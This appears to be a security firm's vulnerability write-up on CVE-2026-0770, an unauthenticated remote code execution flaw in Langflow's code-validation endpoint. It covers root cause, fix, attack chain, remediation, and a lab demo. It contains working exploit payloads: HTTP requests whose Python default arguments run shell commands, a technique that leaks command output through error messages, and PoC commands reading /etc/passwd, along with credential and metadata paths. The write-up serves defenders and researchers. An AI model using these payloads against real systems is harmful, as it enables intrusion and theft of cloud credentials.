Exploiting Langflow's validate_code() Endpoint for Remote Code Execution

Vulnerability Assessment and Penetration Testing

29 Jul 2026

Langflow, Remote Code Execution, AI Security, CISA KEV, Red Team

Exploiting Langflow's validate_code() Endpoint for Remote Code Execution

Executive Summary

CVE-2026-0770 is a critical unauthenticated remote code execution (RCE) vulnerability affecting Langflow's /api/v1/validate/code endpoint. The flaw originates from the unsafe use of Python's exec() function during server-side code validation, allowing attackers to execute arbitrary operating system commands by submitting specially crafted Python function definitions. Because Python evaluates default-argument expressions and decorators at function-definition time, malicious code executes during validation without requiring the function to be called.

The vulnerability affects Langflow versions through 1.7.3 and has been actively exploited in the wild since at least June 2026. On July 21, 2026, CISA added CVE-2026-0770 to its Known Exploited Vulnerabilities (KEV) Catalog, requiring U.S. Federal Civilian Executive Branch agencies to remediate affected deployments under Binding Operational Directive (BOD) 26-04.

Successful exploitation enables attackers to execute arbitrary code, steal cloud credentials and API keys, access container metadata, deploy malware, establish persistence, and pivot into cloud or Kubernetes environments. Organizations operating internet-facing Langflow instances should treat vulnerable deployments as potentially compromised, immediately apply security updates, rotate exposed credentials, and perform a comprehensive forensic investigation.

Introduction

On July 21, 2026, CISA added CVE-2026-0770 to its Known Exploited Vulnerabilities (KEV) Catalog and issued Binding Operational Directive (BOD) 26-04, requiring Federal Civilian Executive Branch (FCEB) agencies to remediate affected Langflow deployments. The vulnerability affects Langflow, an open-source platform for building AI agents and LLM workflows, and allows an unauthenticated attacker to achieve remote code execution by submitting malicious Python code to the POST /api/v1/validate/code endpoint.

CVE-2026-0770 is a critical vulnerability (CVSS v3.1: 9.8) caused by the unsafe use of Python's exec() during code validation. By embedding malicious expressions inside function definitions, an attacker can execute arbitrary operating system commands without authentication. Successful exploitation can result in credential theft, environment-variable disclosure, cloud metadata access, malware deployment, and lateral movement within cloud or containerized environments.

The vulnerability affects Langflow versions through 1.7.3 and was fixed in the release-1.10.1 branch. Active exploitation was first observed on June 27, 2026, with researchers recording more than 220 exploitation attempts from 64 unique source IP addresses before CISA added the vulnerability to the KEV Catalog. Observed attacks focused on system reconnaissance, cloud credential theft, environment-variable harvesting, and downloading second-stage payloads.

Because the vulnerability requires no authentication, no user interaction, and low attack complexity, any internet-facing Langflow instance running a vulnerable version should be considered at high risk and investigated for potential compromise, even after patching.

Why It Matters

Unlike conventional web applications, Langflow is designed to process, validate, and execute user-defined Python components that power AI workflows. As a result, the platform frequently operates with access to sensitive resources, including cloud credentials, API keys, vector databases, internal services, and enterprise data sources. A vulnerability affecting Langflow therefore has implications that extend well beyond the application itself.

In many production environments, Langflow is deployed within Docker containers or Kubernetes clusters and integrated with cloud platforms such as AWS, Azure, or Google Cloud. These deployments often expose environment variables, mounted secrets, cloud metadata services, and service-account tokens to support AI workflows and external integrations. An attacker who gains remote code execution can leverage these resources to compromise additional systems and expand their access across the environment.

Several characteristics make CVE-2026-0770 particularly dangerous:

Unauthenticated exploitation — No valid user account or prior access is required to exploit vulnerable internet-facing deployments.
Low attack complexity — Exploitation requires only a single crafted request to the vulnerable validation endpoint.
Arbitrary code execution — Attackers can execute operating system commands with the privileges of the Langflow process.
Cloud credential exposure — Environment variables, IAM credentials, API keys, and Kubernetes service-account tokens can be accessed after compromise.
Lateral movement opportunities — A compromised Langflow instance can serve as an entry point into internal networks, cloud resources, and connected AI infrastructure.
Active exploitation — The vulnerability has been observed in real-world attacks and is included in CISA's Known Exploited Vulnerabilities (KEV) Catalog.

As AI orchestration platforms become increasingly integrated into enterprise environments, vulnerabilities such as CVE-2026-0770 demonstrate that these systems must be secured with the same rigor as internet-facing production applications. A single remote code execution flaw can rapidly escalate from application compromise to cloud account takeover, data exfiltration, and widespread infrastructure compromise.

Threat Actor Profile

The exploitation of CVE-2026-0770 has been observed from multiple sources and appears to be opportunistic, high-volume, and financially motivated rather than targeted against a single organization. KEVIntel and CISA describe activity consistent with:

Ransomware affiliates and initial-access brokers seeking cloud credentials and footholds.
Cryptojacking actors leveraging RCE to deploy miners in container environments.
Low-skill opportunistic attackers using public proof-of-concept code to scan the internet for vulnerable Langflow instances.

Key behavioral indicators include:

First observed exploitation on June 27, 2026.
More than 220 exploitation attempts from 64 unique source IP addresses before CISA KEV inclusion.
Payloads performing command-execution checks (id, whoami, env) and system reconnaissance.
Attempts to download second-stage scripts from external URLs.
Access to cloud metadata service (169.254.169.254), AWS credential files (~/.aws/credentials), and environment variables.
Targeting of Langflow instances exposed to the public internet, often on default ports.

At the time of writing, no single named threat actor has been publicly attributed to the campaign. The activity overlaps with the broader pattern of AI/ML platform exploitation that has accelerated since 2025, including related Langflow KEV entries CVE-2025-3248, CVE-2026-33017, and CVE-2026-55255.

Affected Products and Versions

CVE-2026-0770 affects multiple Langflow releases that implement the vulnerable validate_code() functionality. The flaw exists in the server-side code validation process, where user-supplied Python code is executed using exec() instead of being safely compiled for syntax validation.

According to the GitHub Security Advisory (GHSA), PYSEC, and OSV, Langflow versions 0.0.31 through 1.7.3 are affected. The vulnerability was fixed in the release-1.10.1 branch by removing the unsafe exec() call and replacing it with compile-only validation, preventing user-controlled code from executing during the validation process.

Organizations running affected versions should upgrade immediately and treat any internet-facing deployment as potentially compromised if it was exposed before patching.

Affected Versions

Version	Status
0.0.31 – 1.7.3	Vulnerable
1.10.1 and later	Fixed

Langflow Technology Overview

What Langflow Is

Langflow is an open-source, visual framework for building AI agents and workflows. Users compose “flows” by connecting nodes such as LLM models, vector stores, prompt templates, tools, and custom Python components. Under the hood, Langflow:

Provides a web UI and REST API for flow design and execution.
Validates and executes Python code for custom components.
Manages prompts, model API keys, and connection strings.
Runs as a Python web application, typically behind Uvicorn/Gunicorn inside a Docker container.

Architecture Relevant to the Vulnerability

The components involved in CVE-2026-0770 are:

FastAPI backend — Exposes REST endpoints including the /api/v1/validate/code route.
validate.py utility — Contains validate_code(), execute_function(), create_function(), create_class(), and related helpers that compile and execute user-supplied Python code.
exec_globals namespace — A copy of the current global namespace used as the execution context for exec() calls.
Custom-component pipeline — Allows users to upload Python code that Langflow validates before loading it into a flow.
Docker / Kubernetes runtime — Often runs with broad access to environment variables, cloud metadata endpoints, and mounted secrets.

Under normal operation, the /api/v1/validate/code endpoint is supposed to perform static validation: parse the submitted Python snippet, check imports, and confirm that function definitions are syntactically correct. The endpoint is not intended to execute user logic. The CVE exists because the validation routine called exec() on function definitions, effectively turning validation into execution.

The Source-Code Root Cause

One of the advantages of analyzing Langflow is that its source code is publicly available, allowing researchers to examine the vulnerable implementation directly rather than relying solely on advisories or proof-of-concept exploits. The root cause of CVE-2026-0770 lies within Langflow's server-side code validation pipeline, specifically the validate_code() function responsible for validating custom Python components submitted to the /api/v1/validate/code endpoint.

The endpoint was designed to verify that uploaded Python components were syntactically valid before being incorporated into an AI workflow. Instead of performing static analysis, however, the validation routine compiled and executed user-controlled function definitions using Python's built-in exec() function. This design decision transformed a validation endpoint into an arbitrary code execution primitive.

Historical Vulnerable Pattern

The following simplified reconstruction illustrates the vulnerable logic found in src/backend/base/langflow/utils/validate.py and src/lfx/src/lfx/custom/validate.py.

# Vulnerable conceptual reconstruction

import ast
import importlib

def validate_code(code: str):
    errors = {"imports": {"errors": []}, "function": {"errors": []}}
    try:
        tree = ast.parse(code)
    except Exception as e:
        errors["function"]["errors"].append(str(e))
        return errors

    # Check top-level imports
    for node in tree.body:
        if isinstance(node, ast.Import):
            for alias in node.names:
                try:
                    importlib.import_module(alias.name)
                except ModuleNotFoundError as e:
                    errors["imports"]["errors"].append(str(e))

    # Validate each function definition
    for node in tree.body:
        if isinstance(node, ast.FunctionDef):
            code_obj = compile(
                ast.Module(body=[node], type_ignores=[]),
                "<string>",
                "exec"
            )
            try:
                exec_globals = globals().copy()   # inherits builtins
                exec(code_obj, exec_globals)      # BUG: executes the function definition
            except Exception as e:
                errors["function"]["errors"].append(str(e))

    return errors

At first glance, this implementation appears to perform harmless validation. The code parses the submitted Python source into an Abstract Syntax Tree (AST), verifies imports, compiles each function definition, and reports any compilation errors. The critical flaw occurs during the final validation step, where the compiled function definition is passed directly to exec().

Rather than simply checking whether the function is valid Python syntax, Langflow actually executes the function definition inside the application's runtime.

Why exec() Is the Bug

The vulnerability stems from Python's execution model.

When Python processes a function definition, it does considerably more than create a function object. During execution of the definition, Python immediately evaluates:

Default argument expressions
Decorator expressions
Type annotations (depending on the Python version)
Other executable expressions embedded within the function definition

Consequently, code execution occurs before the function is ever called.

A minimal proof-of-concept demonstrates this behavior:

def malicious(x=__import__("os").system("id > /tmp/pwned")):    pass

Although malicious() is never invoked, the expression inside the default argument is evaluated immediately when the function definition is executed by exec().

As a result, the following statement inside validate_code():

exec(code_obj, exec_globals)

causes the operating system command to execute during validation, producing the file:

/tmp/pwned

This behavior occurs automatically as part of Python's function creation process, meaning the attacker only needs to submit a specially crafted function definition to achieve remote code execution.

The exec_globals Execution Context

Trend Micro's Zero Day Initiative (ZDI) specifically attributes the vulnerability to the handling of the exec_globals parameter supplied to Python's exec() function.

In the vulnerable implementation, Langflow constructs the execution environment as follows:

exec_globals = globals().copy()
exec(code_obj, exec_globals)

Using globals().copy() provides the executed code with a namespace derived from the application's current global environment.

This namespace includes:

Python built-in functions (__builtins__)
Imported modules
Application globals
Objects already loaded by the Langflow process

Because no sandboxing or restrictions are applied, attacker-controlled code gains unrestricted access to Python's standard library and the execution environment.

For example, malicious code can freely import sensitive modules such as:

import os
import subprocess
import socket
import pathlib
import shutil

or directly access: os.environ

to retrieve cloud credentials, API keys, database passwords, and other secrets stored as environment variables.

Since the code executes with the privileges of the running Langflow process, any resource accessible to the application is equally accessible to the attacker.

Related Dynamic Execution Helpers

Langflow contains several additional helper functions that dynamically execute Python code, including:

execute_function()
create_function()
create_class()

These helpers also utilize the exec_globals execution context to dynamically construct Python objects.

Unlike validate_code(), however, these functions are intended for the legitimate execution of custom components after appropriate authorization checks and configuration requirements—such as the allow_custom_components setting—have been satisfied.

CVE-2026-0770 does not arise from these helpers themselves. Instead, the vulnerability exists because the unauthenticated /api/v1/validate/code endpoint invoked the same execution mechanism during a process that should have been limited to validation only.

The Security Fix

Langflow addressed the vulnerability in PR #13696 by fundamentally changing the validation workflow.

Instead of executing each function definition, the updated implementation performs compile-only validation, ensuring that submitted code is syntactically correct without executing any user-controlled expressions.

The vulnerable pattern:

compile(...)
exec(...)
was replaced with:
try:
    compile(
        ast.Module(body=[node], type_ignores=[]),
        "<string>",
        "exec"
    )
except Exception as e:
    errors["function"]["errors"].append(str(e))

This approach still detects syntax and compilation errors but eliminates the execution of attacker-controlled code during validation.

As part of the remediation, the developers also:

Removed the obsolete _create_langflow_execution_context() helper.
Eliminated the vulnerable exec() execution path from validate_code().
Added a regression test, test_validate_code_does_not_execute_default_args, to verify that default argument expressions are no longer evaluated during validation.

The Attack Chain: From /api/v1/validate/code to Host Compromise

Step 1 — Identify an Internet-Facing Langflow Instance

Attackers scan for Langflow instances exposed on common ports (typically TCP/7860 for Gradio-style deployments, TCP/8080, TCP/3000, or the port mapped by Docker). Reconnaissance may involve:

Identifying the Langflow UI or API base path (/api/v1/...).
Confirming that the /api/v1/validate/code endpoint returns a 200 OK to a benign validation request.
Checking whether AUTO_LOGIN=true or similar single-user mode disables authentication.

No account takeover, session theft, or user interaction is required when the instance is exposed and unauthenticated.

Step 2 — Submit a Malicious Validation Request

The attacker sends a POST request to /api/v1/validate/code with a JSON body containing Python code whose function definitions trigger side effects during validation:

POST /api/v1/validate/code HTTP/1.1
Host: <target Langflow instance>
Content-Type: application/json

{
  "code": "def pwn(x=__import__('os').system('id > /tmp/pwned')):\n    pass"
}

The request appears to be a normal “Validate / Check Code” operation. The endpoint accepts it, parses the AST, compiles the function, and then—because of the vulnerable exec() call—evaluates the default-argument expression, executing the supplied shell command.

Step 3 — Execute Arbitrary Python / Shell Commands

Because exec_globals inherits unrestricted builtins, the attacker can:

Import os, subprocess, socket, urllib.request, or any installed module.
Run shell commands, spawn reverse shells, or start interactive interpreters.
Read and write arbitrary files within the container.
Make outbound network connections to attacker-controlled infrastructure.

The ZDI advisory notes that exploitation yields code execution “in the context of root” on affected installations. This is typically because the official Langflow container runs as root by default, or because the process has sufficient privileges to read sensitive host paths from within the container.

Step 4 — Harvest Cloud Credentials and Environment Secrets

Once a shell is obtained, attackers immediately pivot to credential theft. Observed in-the-wild activity includes:

Reading AWS credentials from ~/.aws/credentials and ~/.aws/config.
Querying environment variables (os.environ) for API keys, database passwords, and tokens.
Accessing container metadata service at http://169.254.169.254/latest/meta-data/iam/security-credentials/ to steal temporary IAM role credentials.
Reading Kubernetes service-account tokens from /var/run/secrets/kubernetes.io/serviceaccount/token.
Collecting container runtime metadata for reconnaissance and potential escape.

Step 5 — Deploy Malware and Establish Persistence

Observed post-exploitation behavior includes:

Downloading second-stage scripts from remote URLs.
Installing cryptocurrency miners or lightweight backdoors.
Adding SSH keys or cron jobs where the container runtime permits.
Using the Langflow host as a pivot point to scan internal cloud networks.

Because Langflow is often deployed inside Kubernetes clusters with access to internal DNS and service meshes, a compromised instance can become a beachhead for lateral movement across cloud workloads.

Related Langflow Vulnerabilities

CVE-2026-0770 is one of several high-impact vulnerabilities that have affected Langflow in recent years. Organizations should ensure they have addressed all publicly disclosed issues, particularly those enabling unauthenticated access or remote code execution.

CVE	Affected Component	Description
CVE-2025-3248	Flow Build / PostgreSQL	Unauthenticated flow build vulnerability exploited by the JadePuffer ransomware campaign to access PostgreSQL databases.
CVE-2026-0770	/api/v1/validate/code	Unauthenticated Remote Code Execution caused by unsafe use of exec() during code validation.
CVE-2026-33017	/api/v1/build_public_tmp/{flow_id}/flow	Public flow build vulnerability allowing code execution through prepare_global_scope() .
CVE-2026-33873	Agentic Assistant ( /assist , /assist/stream )	Authenticated code execution vulnerability affecting the Agentic Assistant validation pipeline.
CVE-2026-55255	Multiple Components	Additional actively exploited Langflow vulnerability referenced by CISA and security researchers.

Lab Demonstration

CVE-2026-0770 was reproduced in a controlled local environment using a minimal Python server that mirrors the vulnerable validate_code() path from Langflow ≤ 1.7.3. The same payloads work against the official langflowai/langflow:1.7.3 Docker container, typically returning uid=0(root).

Lab Server Startup

The local vulnerable simulator was started with:

python3 langflow_cve_2026_0770_lab_server.py

RCE Proof: Executing id

A single POST to /api/v1/validate/code executes arbitrary OS commands. The output is returned inside the JSON function.errors array because the payload raises an exception containing the command result:

python3 langflowcve_2026_0770_poc.py --target http://127.0.0.1:7860 --cmd "id"

Arbitrary File Read with Public PoC

The same vulnerability was confirmed using the independently published public PoC from affix/CVE-2026-0770-PoC (https://github.com/affix/CVE-2026-0770-PoC). The command below reads the system password file through a single POST request to /api/v1/validate/code:

python3 affix_poc.py -t http://127.0.0.1:7860 -c "cat /etc/passwd"

Impact Assessment

Credential Exposure

A compromised Langflow instance typically has access to:

LLM provider API keys (OpenAI, Azure OpenAI, Anthropic, Google, etc.).
Vector-database credentials (Pinecone, Weaviate, Chroma, Qdrant, PostgreSQL/pgvector).
Cloud provider credentials (AWS, Azure, GCP) stored in environment variables or metadata services.
Internal API keys and signing secrets injected via env or Kubernetes secrets.
Model repository tokens and deployment keys.

The observed exploitation campaign specifically targeted AWS credentials, environment variables, and container metadata, indicating that attackers prioritize cloud takeovers after gaining a shell.

Remote Code Execution

Unauthenticated attackers can execute arbitrary Python and shell commands as root. This enables:

Cryptocurrency miner deployment.
Ransomware staging and lateral movement.
Data exfiltration from connected databases and file stores.
Establishment of persistent backdoors or reverse shells.
Use of the Langflow host as a proxy or C2 relay.

Cloud Metadata and Container Escape

Because Langflow is frequently containerized and cloud-hosted, root-equivalent access inside the container opens paths to:

Query the instance metadata service (169.254.169.254) for IAM credentials.
Read Kubernetes service-account tokens and API server credentials.
Abuse mounted volumes or elevated container privileges to escape to the host.
Scan and attack adjacent pods, services, and cloud resources.

Persistence

Attackers can persist via:

Cron jobs or systemd timers added inside the container (if writable).
Modified Langflow component files reloaded on restart.
Added SSH authorized keys or .bashrc hooks.
External second-stage scripts fetched at intervals.

A patched Langflow container that still contains attacker-planted persistence remains compromised.

Business Impact

Successful exploitation can lead to unauthorized access to AI pipelines, cloud account takeover, data theft, service disruption, supply-chain compromise of AI-generated outputs, regulatory exposure (GDPR, HIPAA, PCI-DSS, SOC 2), and loss of trust in AI infrastructure.

Remediation and Hardening

Organizations running affected Langflow instances should treat this as an active, high-severity incident. Patching alone is not sufficient if the instance was already exploited.

Immediate Response Actions

Patch immediately. Upgrade Langflow to a fixed release. The fix is in the release-1.10.1 branch (June 18, 2026). Use the latest stable release available from the Langflow releases page. Verify the installed version with pip show langflow or by checking the container image tag.
Assume compromise for internet-facing, unpatched instances. Any Langflow instance exposed to the internet on an affected version should be investigated using the IOCs listed above.
Investigate historical /api/v1/validate/code requests. Review web, proxy, and application logs for the exposure window (at least June 27, 2026, to patch date). Look for suspicious code payloads, default-argument side effects, and __import__ usage.
Rotate all potentially exposed credentials. Reset:

Cloud provider access keys and IAM role credentials (AWS, Azure, GCP).
LLM provider API keys.
Vector-database and datastore credentials.
Internal API keys, signing secrets, and OAuth client secrets.
Kubernetes service-account tokens if the pod had mounted service accounts.

Rebuild if compromise is confirmed. Destroy the compromised container or VM, deploy a fresh image with the patched Langflow version, and restore configuration from a known-good backup taken before the exposure window. Do not restore from backups that may include attacker persistence.
Review cloud account activity. Check AWS CloudTrail, Azure Activity Logs, or GCP Audit Logs for unauthorized API calls, new IAM users, launched compute instances, or data exfiltration originating from Langflow-associated credentials.
Restrict network access. Until patching is complete, block inbound internet access to Langflow or place it behind a VPN/reverse proxy restricted to trusted source IPs.

Hardening Measures

Do not expose Langflow to the public internet. Run it behind an authenticated reverse proxy, corporate VPN, or zero-trust access gateway.
Disable AUTO_LOGIN. Enforce real authentication and role-based access control for the Langflow UI and API.
Restrict the validation endpoint. If the validation endpoint is not required, block or rate-limit POST /api/v1/validate/code at the reverse proxy or WAF.
Run Langflow as a non-root user. Configure the Docker container to use a dedicated, low-privilege user.
Drop unnecessary capabilities. Run the container with --cap-drop=ALL and add back only required capabilities.
Block cloud metadata access. Use network policies or iptables rules to prevent the Langflow pod from reaching 169.254.169.254 unless absolutely necessary.
Use secrets management. Inject API keys via a secrets manager or Kubernetes secrets with volume mounts, rather than plain environment variables. Rotate secrets regularly.
Least-privilege IAM. Ensure the instance or pod has only the IAM permissions required for its function. Do not give broad AdministratorAccess or Compute roles.
Enable runtime security. Deploy Falco, Sysdig, or an equivalent tool to alert on unexpected process execution, metadata access, or file reads inside the Langflow container.
Enable logging and alerting. Forward Langflow access logs, container runtime logs, and cloud audit logs to a SIEM. Alert on POST /api/v1/validate/code, metadata-service access, and outbound connections.
Update IR playbooks. Include AI/ML platform compromise scenarios, container forensic imaging, rapid credential rotation, and cloud-account incident response.

Conclusion

CVE-2026-0770 demonstrates how a seemingly benign code validation feature can become a critical remote code execution vulnerability when untrusted input is executed instead of merely analyzed. By abusing the POST /api/v1/validate/code endpoint, an unauthenticated attacker can execute arbitrary Python code, gain control of the Langflow host, and access sensitive assets including cloud credentials, API keys, environment variables, and connected data stores.

The vulnerability's inclusion in CISA's Known Exploited Vulnerabilities (KEV) Catalog and the observed in-the-wild exploitation confirm that this is an active threat rather than a theoretical risk. Because Langflow is frequently deployed within cloud-native environments and integrated with AI providers, databases, and external services, successful exploitation can rapidly escalate from application compromise to cloud account takeover and lateral movement across enterprise infrastructure.

Organizations should immediately upgrade to a fixed Langflow release, investigate previously exposed instances for indicators of compromise, rotate all potentially exposed credentials, and review cloud activity for unauthorized access. In the long term, AI orchestration platforms should be treated as critical infrastructure by enforcing strong authentication, minimizing privileges, restricting network exposure, and continuously monitoring for suspicious activity. As AI platforms continue to become integral to enterprise operations, securing them with the same rigor as other mission-critical systems is essential.

Lab Demonstration

The following section demonstrates CVE-2026-0770 reproduced in a controlled local environment. Because Docker was unavailable on the test host, a minimal Python server mirrored the exact vulnerable validate_code() logic from Langflow ≤ 1.7.3. The same POST /api/v1/validate/code payload works against the official langflowai/langflow:1.7.3 container with identical results, typically returning uid=0(root).

Lab Server Startup

The local vulnerable server was started with the included lab simulator. It listens on http://127.0.0.1:7860 and intentionally reproduces the compile() + exec() path that Langflow used before PR #13696:

python3 langflow_cve_2026_0770_lab_server.py

Figure 1: Vulnerable lab server listening on port 7860

RCE Proof: Executing the id Command

Using the standalone exploit PoC, a single HTTP request executes an arbitrary OS command. The generator .throw() technique forces the command output into an exception, which is then returned inside the JSON function.errors array:

python3 langflow_cve_2026_0770_poc.py --target http://127.0.0.1:7860 --cmd "id"

Figure 2: Exploit PoC returning id output via the validation error channel

Raw HTTP Request / Response

Request:

POST /api/v1/validate/code HTTP/1.1
Host: 127.0.0.1:7860
Content-Type: application/json

{
 "code": "def x(cmd=(_ for _ in ()).throw(Exception(__import__('subprocess').check_output(__import__('shlex').split('id'), stderr=-2, text=True)))):\n    pass"
}

Response:

HTTP/1.0 200 OK
Content-Type: application/json

{
 "imports": {"errors": []},
 "function": {
   "errors": [
     "uid=501(karimhabeeb) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae),701(com.apple.sharepoint.group.1)\n"
   ]
 }
}